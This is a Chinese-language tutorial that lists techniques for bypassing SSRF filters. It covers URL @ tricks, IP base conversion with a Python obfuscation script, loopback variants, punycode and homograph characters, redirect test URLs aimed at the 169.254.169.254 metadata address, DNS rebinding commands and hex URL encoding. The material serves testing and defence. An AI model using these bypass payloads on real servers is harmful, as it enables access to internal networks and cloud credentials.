在代码实现过程中,开发者为了防御SSRF漏洞,会对相关的请求进行验证(黑名单、白名单、正则匹配等),但是其中一些过滤代码存在绕过的可能行,这里总结一些常见的绕过方法(部分方法只能在浏览器中或需要特定语言函数实现,需要结合场景使用,如进行一些社会工程学欺骗等)。

URL中使用@

URL(Uniform Resource Locator,统一资源定位符),用于在互联网中定位数据资源,其完整格式如下

  1. [协议类型]://[访问资源需要的凭证信息]@[服务器地址]:[端口号]/[资源层级UNIX文件路径][文件名]?[查询]#[片段ID]

由格式可知,@符号之后是服务器的地址,可以用于在SSRF一些正则匹配中绕过,从而定位到@之后的服务器地址:

  1. http://google.com:80+&@220.181.38.251:80/#+@google.com:80/

curl 带着值为qq.com:的Authorization验证头访问百度
image.png

IP进制转换

IP地址是一个32位的二进制数,通常被分割为4个8位二进制数。通常用“点分十进制”表示成(a.b.c.d)的形式,所以IP地址的每一段可以用其他进制来转换。 IPFuscator 工具可实现IP地址的进制转换,包括了八进制、十进制、十六进制、混合进制。在这个工具的基础上添加了IPV6的转换和版本输出的优化:
在脚本对IP进行八进制转换时,一些情况下会在字符串末尾多加一个L:
image.png
这是因为在Python2下区分了int和long类型,int数据超出最大值2147483647后会表示为long类型,体现在八进制转换后的字符串末尾跟了个L:
image.png
而在python3中都使用int处理,所以可以将脚本升级到Python来用,使用2to3.py工具python3 2to3.py -w xx.py转换代码:
image.png
然后可以用python3来执行,但是在使用oct()转八进制的时候,有0o标记,这种的在访问时浏览器识别不了:
image.png
修正过后的代码如下:

  1. #!/usr/bin/env python
  2. # -*- coding:utf-8 -*-
  3. import random
  4. import re
  5. from argparse import ArgumentParser
  6. from IPy import IP
  7. __version__ = '0.1.0'
  8. def get_args():
  9. parser = ArgumentParser()
  10. parser.add_argument('ip', help='The IP to perform IPFuscation on')
  11. parser.add_argument('-o', '--output', help='Output file')
  12. return parser.parse_args()
  13. def banner():
  14. print("IPFuscator")
  15. print("Author: Vincent Yiu (@vysecurity)")
  16. print("https://www.github.com/vysec/IPFuscator")
  17. print("Version: {}".format(__version__))
  18. print("")
  19. def checkIP(ip):
  20. m = re.match('\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z', ip)
  21. if m:
  22. # Valid IP format
  23. parts = ip.split('.')
  24. if len(parts) == 4:
  25. # Valid IP
  26. for i in parts:
  27. if int(i) > 255 or int(i) < 0:
  28. return False
  29. return True
  30. else:
  31. return False
  32. else:
  33. return False
  34. def printOutput(ip):
  35. parts = ip.split('.')
  36. decimal = int(parts[0]) * 16777216 + int(parts[1]) * 65536 + int(parts[2]) * 256 + int(parts[3])
  37. print("")
  38. print("Decimal:\t{}".format(decimal))
  39. # hexadecimal = "0x%02X%02X%02X%02X" % (int(parts[0]), int(parts[1]), int(parts[2]), int(parts[3]))
  40. print("Hexadecimal:\t{}".format(hex(decimal)))
  41. # octal = oct(decimal)
  42. print("Octal:\t\t{}".format('0{0:o}'.format(int(decimal))))
  43. print("")
  44. hexparts = []
  45. octparts = []
  46. for i in parts:
  47. hexparts.append(hex(int(i)))
  48. # octparts.append(oct(int(i)))
  49. octparts.append('0{0:o}'.format(int(i)))
  50. print("Full Hex:\t{}".format('.'.join(hexparts)))
  51. print("Full Oct:\t{}".format('.'.join(octparts))) # 8进制转换,将每个点分位转为8进制
  52. print("\r\nIPv46 Trans:\t[{}]".format(IP(ip).v46map()))
  53. print("")
  54. print("Random Padding: ")
  55. randhex = ""
  56. for i in hexparts:
  57. randhex += i.replace('0x', '0x' + '0' * random.randint(1, 30)) + '.'
  58. randhex = randhex[:-1]
  59. print("Hex:\t{}".format(randhex))
  60. randoct = ""
  61. for i in octparts:
  62. randoct += '0' * random.randint(1, 30) + i + '.'
  63. randoct = randoct[:-1]
  64. print("Oct:\t{}".format(randoct))
  65. print("")
  66. print("Random base:")
  67. randbase = []
  68. count = 0
  69. while count < 5:
  70. randbaseval = ""
  71. for i in range(0, 4):
  72. val = random.randint(0, 2)
  73. if val == 0:
  74. # dec
  75. randbaseval += parts[i] + '.'
  76. elif val == 1:
  77. # hex
  78. randbaseval += hexparts[i] + '.'
  79. else:
  80. randbaseval += octparts[i] + '.'
  81. # oct
  82. randbase.append(randbaseval[:-1])
  83. print("#{}:\t{}".format(count + 1, randbase[count]))
  84. count += 1
  85. print("")
  86. print("Random base with random padding:")
  87. randbase = []
  88. count = 0
  89. while count < 5:
  90. randbaseval = ""
  91. for i in range(0, 4):
  92. val = random.randint(0, 2)
  93. if val == 0:
  94. # dec
  95. randbaseval += parts[i] + '.'
  96. elif val == 1:
  97. # hex
  98. randbaseval += hexparts[i].replace('0x', '0x' + '0' * random.randint(1, 30)) + '.'
  99. else:
  100. randbaseval += '0' * random.randint(1, 30) + octparts[i] + '.'
  101. # oct
  102. randbase.append(randbaseval[:-1])
  103. print("#{}:\t{}".format(count + 1, randbase[count]))
  104. count += 1
  105. def main():
  106. banner()
  107. args = get_args()
  108. if checkIP(args.ip):
  109. print("IP Address:\t{}".format(args.ip))
  110. printOutput(args.ip)
  111. else:
  112. print("[!] Invalid IP format: {}".format(args.ip))
  113. if __name__ == '__main__':
  114. main()

image.png
也可以使用IPy模块进行转换:

  1. import IPy #IPv4与十进制互转
  2. IPy.IP('127.0.0.1').int()
  3. IPy.IP('3689901706').strNormal()
  4. #16进制转换
  5. IPy.IP('127.0.0.1').strHex()
  6. #IPv4/6转换
  7. IPy.IP('127.0.0.1').v46map()

本地环回地址

127.0.0.1,通常被称为本地回环地址(Loopback Address),指本机的虚拟接口,一些表示方法如下(ipv6的地址使用http访问需要加[]):

  1. http://127.0.0.1
  2. http://localhost
  3. http://127.255.255.254
  4. 127.0.0.1 - 127.255.255.254
  5. http://[::1]
  6. http://[::ffff:7f00:1]
  7. http://[::ffff:127.0.0.1]
  8. http://127.1
  9. http://127.0.1
  10. http://0:80

punycode转码

IDN(英语:Internationalized Domain Name,缩写:IDN)即为国际化域名,又称特殊字符域名,是指部分或完全使用特殊的文字或字母组成的互联网域名。包括法语、阿拉伯语、中文、斯拉夫语、泰米尔语、希伯来语或拉丁字母等非英文字母,这些文字经多字节万国码编译而成。在域名系统中,国际化域名使用Punycode转写并以美国信息交换标准代码(ASCII)字符串储存。punycode是一种表示Unicode码和ASCII码的有限的字符集,可对IDNs进行punycode转码,转码后的punycode就由26个字母+10个数字,还有“-”组成。
使用在线的编码工具测试:
image.png
对正常的字母数字组成的域名,也可以使用punycode编码格式,即:

  1. www.qq.com => www.xn--qq-.com

一些浏览器对正常的域名不会使用punycode解码,如Chrome,所以在Chrome中访问失败,测试了部分PHP中的函数,也会失败:
image.png

同形异义字攻击(IDN_homograph_attack,IDN欺骗)

同形异义字指的是形状相似但是含义不同,这样的字符如希腊、斯拉夫、亚美尼亚字母,部分字符看起来和英文字母一模一样:
image.png
如果使用这些字符注册域名,很容易进行欺骗攻击(点击查看详情),所以就出现了punycode转码,用来将含义特殊字符的域名编码为IDN,目前谷歌浏览器、Safari等浏览器会将存在多种语言的域名进行Punycode编码显示。

封闭式字母数字 (Enclosed Alphanumerics)字符

封闭式字母数字是一个由字母数字组成的Unicode印刷符号块,使用这些符号块替换域名中的字母也可以被浏览器接受。目前的浏览器测试只有下列单圆圈的字符可用:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪
浏览器访问时会自动识别成拉丁英文字符
image.png

Redirect

可以使用重定向来让服务器访问目标地址,可用于重定向的HTTP状态码:300、301、302、303、305、307、308。在github项目SSRF-Testing上可以看到已经配置好的用例:

  1. https://ssrf.localdomain.pw/img-without-body/301-http-www.qq.com-.i.jpg
  2. https://ssrf.localdomain.pw/img-without-body/301-http-169.254.169.254:80-.i.jpg
  3. https://ssrf.localdomain.pw/json-with-body/301-http-169.254.169.254:80-.j.json

服务端PHP代码如下:

  1. <?php header("Location: http://www.baidu.com");exit(); ?>

DNS解析

配置域名的DNS解析到目标地址(A、cname等),这里有几个配置解析到任意的地址的域名:

  1. nslookup 127.0.0.1.nip.io
  2. nslookup owasp.org.127.0.0.1.nip.io

image.png

DNS 重绑定

如果某后端代码要发起外部请求,但是不允许对内部IP进行请求,就要对解析的IP进行安全限制,整个流程中首先是要请求一次域名对解析的IP进行检测,检测通过交给后面的函数发起请求。如果在第一次请求时返回公网IP,第二次请求时返回内网IP,就可以达到攻击效果。要使得两次请求返回不同IP需要对DNS缓存进行控制,要设置DNS TTL为0,测试cloudflare并不行:
image.png
那么还可以自定义DNS服务器,这样就能方便控制每次解析的IP地址了,使用SSRF-Testing项目中的dns.py脚本执行

  1. python3 dns.py 216.58.214.206 169.254.169.254 127.0.0.1 53 localdomains.pw

在本地53端口开启DNS服务,为localdomains.pw指定两次解析IP,第一次是216.x,第二次是169.x。开启后使用

  1. nslookup 1111.localdomains.pw 127.0.0.1

指定DNS服务器为127.0.0.1,查询解析记录:
image.png
这样一来,两次解析的IP就能方便的控制了。

点分割符号替换


在浏览器中可以使用不同的分割符号来代替域名中的.分割,可以使用。。.来代替:

  1. http://www。qq。com
  2. http://www。qq。com
  3. http://www.qq.com

短地址绕过

这个是利用互联网上一些网站提供的网址缩短服务进行一些黑名单绕过,其原理也是利用重定向:
image.png

URL十六进制编码

URL十六进制编码可被浏览器正常识别,编码脚本:

  1. data = "www.qq.com";
  2. alist = []
  3. for x in data:
  4. alist.append(hex(ord(x)).replace('0x', '%'))
  5. print(f'http://{"".join(alist)}')

image.png
image.png